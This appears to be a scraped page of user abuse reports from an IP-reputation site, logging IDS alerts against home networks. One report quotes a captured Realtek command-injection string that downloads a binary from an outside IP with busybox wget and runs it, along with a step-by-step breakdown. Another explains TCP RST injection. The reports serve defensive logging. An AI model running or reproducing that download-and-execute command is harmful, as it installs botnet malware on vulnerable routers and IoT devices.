05/01/2025 06:26:36
1 IP-in-IP Attempted Administrator Privilege Gain 65.49.1.196
0
...
show more05/01/2025 06:26:36
1 IP-in-IP Attempted Administrator Privilege Gain 65.49.1.196
0
0 1:2030388
ET EXPLOIT Possible CVE-2020-11900 IP-in-IP tunnel Double-Free
show less
ooh, illegal and urgent. fancy
04/28/2025 17:00:52
1 TCP Attempted Administrator Privilege Gain ...
show moreooh, illegal and urgent. fancy
04/28/2025 17:00:52
1 TCP Attempted Administrator Privilege Gain 1.34.85.243
22865
16755 1:2027770
ET EXPLOIT Possible VXWORKS Urgent11 RCE Attempt - Illegal Urgent Flag
show less
04/27/2025 09:59:49
2 TCP Device Retrieving External IP Address Detected
51835 34.117.59.8 ...
show more04/27/2025 09:59:49
2 TCP Device Retrieving External IP Address Detected
51835 34.117.59.81
443 1:2025331
ET INFO Possible External IP Lookup Domain Observed in SNI (ipinfo. io)
show less
orf;cd /tmp; rm -rf mpsl; /bin/busybox wget http://209.141.34.106/20oel/k03ldc.mpsl; chmod +x k03ldc ...
show moreorf;cd /tmp; rm -rf mpsl; /bin/busybox wget http://209.141.34.106/20oel/k03ldc.mpsl; chmod +x k03ldc.mpsl; ./k03ldc.mpsl realtek; #
Breakdown:
orf: Likely a no-op or typo, possibly part of a command chain or obfuscation.
cd /tmp: Changes to the /tmp directory, a common location for temporary malicious files.
rm -rf mpsl: Deletes any existing mpsl directory or file to avoid conflicts.
/bin/busybox wget http://209.141.34.106/20oel/k03ldc.mpsl: Uses busybox (common on embedded systems like routers) to download a malicious binary from http://209.141.34.106/20oel/k03ldc.mpsl.
chmod +x k03ldc.mpsl: Makes the binary executable.
./k03ldc.mpsl realtek: Executes the binary with the argument realtek, likely targeting Realtek-based devices (e.g., routers, IoT).
show less
04/26/2025 21:07:10
2 TCP A system call was detected 13.33.21.127
443
17942 1:650
...
show more04/26/2025 21:07:10
2 TCP A system call was detected 13.33.21.127
443
17942 1:650
INDICATOR-SHELLCODE x86 setuid 0
show less
04/25/2025 05:45:54
3 UDP Detection of a Network Scan 147.203.255.20
41200
1900 1:19 ...
show more04/25/2025 05:45:54
3 UDP Detection of a Network Scan 147.203.255.20
41200
1900 1:1917
INDICATOR-SCAN UPnP service discover attempt
show less
04/24/2025 16:53:06
UDP Detection of a Network Scan 109.236.61.55
sport 61288
dport 1 ...
show more04/24/2025 16:53:06
UDP Detection of a Network Scan 109.236.61.55
sport 61288
dport 1900
INDICATOR-SCAN UPnP service discover attempt
show less
04/24/2025 14:28:05 UDP Attempted Administrator Privilege Gain
Source port 34658 Dest port 90 ...
show more04/24/2025 14:28:05 UDP Attempted Administrator Privilege Gain
Source port 34658 Dest port 9034
ET EXPLOIT Realtek SDK - Command Execution/Backdoor Access Inbound (CVE-2021-35394)
CVE-2021-35394 is a critical vulnerability in the Realtek Jungle SDK (versions v2.x up to v3.4.14B), specifically affecting the 'MP Daemon' diagnostic tool, compiled as the 'UDPServer' binary. It includes multiple memory corruption vulnerabilities and an arbitrary command injection flaw, allowing remote unauthenticated attackers to execute code. The command injection stems from a weak patch for a 2015 vulnerability, where commands prefixed with "orf" can bypass mitigation.
Severity: Rated 9.8/10 on the CVSS 3.x scale
show less
Port ScanHackingSQL InjectionBrute-ForceWeb App Attack
SURICATA IKE invalid proposal
04/24/2025
00:05:47
UDP
167.94.138.128
Source port:21098
Dest ...
show moreSURICATA IKE invalid proposal
04/24/2025
00:05:47
UDP
167.94.138.128
Source port:21098
Destination port:500
show less
SURICATA STREAM suspected RST injection
Source port:443
04/23/202 ...
show moreSURICATA STREAM suspected RST injection
Source port:443
04/23/2025 15:01:46 Dest port:53962
04/23/2025 15:00:55 Dest port:53937
04/23/2025 15:00:52 Dest port:53923
A readup on the attack
https://nets.ec/TCP-RST_Injection
The window can be exploited to find the sequence number of a connection, and successfully inject a RST packet. RST packets are special because they can be taken OUT OF ORDER in a TCP stream. Therefore, if you can acquire the sequence number in an active connection, you can inject a RST packet and split the two connected parties.
show less
what this guy said a year ago,
HAMAS, Terror-Organisation
Malwares, Bitcoin Miners, Ransomware, Io ...
show morewhat this guy said a year ago,
HAMAS, Terror-Organisation
Malwares, Bitcoin Miners, Ransomware, IoT
Migrantifa
HAMAS, Terror-Organisation
Malwares, Bitcoin Miners, Ransomware, IoT
Migrantifa, SHUT DOWN...
show less
DNS CompromiseDNS PoisoningFraud OrdersDDoS AttackFTP Brute-ForcePing of DeathPhishingFraud VoIPOpen ProxyWeb SpamEmail SpamBlog SpamVPN IPPort ScanHackingSQL InjectionSpoofingBrute-ForceBad Web BotExploited HostWeb App AttackSSHIoT Targeted
seeing as how i dont fucking live in Austrailia, this is highly suspicious for it to be communicatin ...
show moreseeing as how i dont fucking live in Austrailia, this is highly suspicious for it to be communicating with my computer with no VPN.
Thankyou Microfucking soft?
show less
5 consecutive pings from this address ICMP type 8
4/30/24 20:51:16.658905 PST
4/30/24 20:51:17.659 ...
show more5 consecutive pings from this address ICMP type 8
4/30/24 20:51:16.658905 PST
4/30/24 20:51:17.659005 PST
4/30/24 20:51:18.659049 PST
4/30/24 20:51:19.658959 PST
4/30/24 20:51:20.660010 PST
worthy of note, geo ip points to Russia, however the company is Zhenjiang, who is china and are the subject of my previous reports.
ips connected are 103.102.230.2
103.56.61.144
27.11.3.231
220.130.163.172
show less
DNS CompromiseDDoS AttackPing of DeathHackingSpoofingBrute-ForceSSH
By clicking โAccept allโ, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.